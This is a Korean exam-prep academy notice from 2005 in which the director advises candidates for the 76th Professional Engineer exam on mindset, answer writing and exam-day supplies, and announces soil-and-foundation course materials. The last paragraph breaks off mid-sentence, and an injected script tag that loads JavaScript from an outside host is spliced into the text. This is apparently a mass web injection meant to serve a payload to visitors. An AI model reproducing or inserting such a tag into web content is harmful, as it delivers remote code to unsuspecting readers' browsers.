공지사항

76회 시험을 일주일 앞두고(시험전 마음가짐)

  • 작성자 : 원장
  • 작성일 : 2005.05.26

항상 중요하다고 말씀드린 시험 치기 일주일전이 다가오고 있습니다

공부가 많이 되신 분일수록 시험이 다가오면 불안하고 긴장도 되실 것입니다
하지만 시험 당일이 가장 많은 암기가 되고 가장 좋은 컨디션이 될 수 있도록 치밀한 계획을
세우시기 바랍니다
지금쯤은 출제예상문제에 신경이 많이 쓰이시겠지만 그것보다는 지금까지 공부한 기본적인
내용을 완벽하게 숙지하시는 것이 더 중요합니다
시험은 우리가 공부한 범위 내에서 출제가 될 것입니다
모르는 문제가 나와도 절대 당황하지 마시고 이 문제가 무엇을 묻는 것인지를 잘 생각해보신
다면 공부한 내용에서 답을 찾으실 수 있을 것입니다
모든 문제를 다 60점 이상 받을 수는 없으며 문제에 따라서 50점도 70점도 받을 수 있습니

최선을 다하여 평균 60점을 넘으면 됩니다
또한 아는 문제가 나왔다고 너무 흥분하셔도 안됩니다
반드시 문제를 다시 읽어보시고 문제에 함정이 없는지 살피셔야 합니다

아직 공부가 덜 되신 분도 원서를 내셨다면 최선을 다하여 시험에 임하시기 바랍니다
시험경험은 기술사시험에서 반드시 거쳐야할 할 중요한 과정입니다
시험경험부족으로 공부를 많이 하고도 실수를 하시는 경우가 많습니다
내가 공부한 내용 중에서 아는 문제가 나왔다면 주어진 시간에 내가 얼마나 정확하게 기술할
수 있는지를 꼭 테스트하시기 바랍니다
그래야 다음 시험에서 실수를 하지 않게 됩니다

누구나 시험을 치는 자기 나름대로의 스타일이 있겠지만 다음 몇 가지사항을 당부 드리고 싶
습니다
- 반드시 문제는 3번 이상 읽으시고 출제자의 의도를 파악한 후 출제자가 질문한 내용을 중심
으로 답을 하시고 결론을 내리셔야 합니다
- 작성하실 답안 내용을 대 제목 위주로 미리 문제지에 정리하신 후 답안을 작성하셔야 처음
의도하신 대로 답안을 작성하실 수 있습니다
- 내가 아는 쉬운 문제가 출제되었다면 흥분하지 마시고 더더욱 출제의도를 파악하기 위해 신
중하게 다시 한번 더 읽어보시고 답안을 작성하시기 바랍니다
- 시험이 어려워도 절대 중도에 포기하고 나오시면 안됩니다
내가 어려우면 남들은 나보다 더 어렵다고 생각하시고 끝까지 최선을 다 하십시오
- 모르는 문제일수록 답안은 더 자신감 있게 쓰시고 나의 주장을 과감하게 펼치십시오
- 가능하면 공부가 많이 되신 분은 시험 치기 일주일전에는 휴가를 내시고 마지막 정리를 하시
기 바랍니다

[시험당일 준비사항]
1. 수험표 + 신분증 확인
2. 답안 작성 도구 확인
(1) 볼펜 + 연필 + 지우개 + 자 + 계산기
o. 볼펜은 손잡이 부분이 고무 달린 것 / 자주 사용하여 길들여진 것
o. 1.0mm 이상 속기 펜으로 굵고, 시원하게 쓸 수 있는 것
o. 자 : 늘 쓰던 것으로
o. 계산기 : 만일에 대비 지참(과목에 따라 계산문제 나오는 경우 대비)
o. 휴지 : 볼펜 똥 처리
o. 1교시 필기구는 4교시까지 동일한 것 사용
3. 기타 준비사항
(1) 우황청심원(필요하신 분은 도움이 됩니다)
(2) 도시락, 음료수, 물
(3) 옷은 계절에 맞게 입고 갈 것

[공지사항]
1. 토질 및 기초 기술사를 5월에 수강하시는 분에게는 수강기간을 6개월 연장하여 드립니다
2. 토질 및 기초 기술사 강의계획서 및 이론강의 목차를 공개자료실에 올려놓았습니다(목차순
서 대로 강의 진행 중)
3. 토질 및 기초 기술사 수업자료를 공개자료실에 올려놓았습니다(공개자료는 앞으로도 추가
예정)
4. 토질 및 기초 기술사 샘플강의는 강의가 진행되면서 계속 업그레이드 됩니다

[공부를 오래하시거나 처음 하시거나 느끼게 되는 무기력함에 대하여]

공부를 오래하다 보면 나타나는 무기력함은 이런 것 같습니다
공부를 오래하다 보니 특별히 모르는 것도 없고 그렇다고 정확히 아는 것도 없는,
그리고 항상 봐오던 서브노트며 자료는, 보면 아는 내용이라 보기도 싫지만, 시험장에서는 내
용이 생각나지 않고, 이미 출제경향은 바뀌어 버린,
공부에 대한 열정은 점점 식어가고 수동적으로 시험 전 책 좀 보다가 시험장에 가시게 되는 그
런 상태인 것 같습니다(그러다가 기술사를 포기하기도 합니다)

출제경향은 시험이 거듭될수록 바뀌어 갑니다
지난 시험의 마지막 서브노트가 이번 시험의 마지막 서브노트가 되어서는 아니 됩니다
반드시 새로운 내용을 다시 추가하시고 새로운 강의와 교재를 통해 공부에 대한 호기심을 가
지셔야 합니다
또한 현실을 직시하셔야 합니다
8월이면 인정기술사가 없어질 수도 있다고 합니다
기술사가 없는 분이 설 수 있는 자리는 점점 좁아지고 있습니다
무기력함을 벗어 던지시고 새로운 활력소를 찾으셔야 합니다

공부를 처음 하시는 분에게 나타나는 무기력함이란 이런 것 같습니다
공부를 할려고 하니 겁도 나고 힘도 들것 같고 책?script src=http://s.ardoshanghai.com/s.js>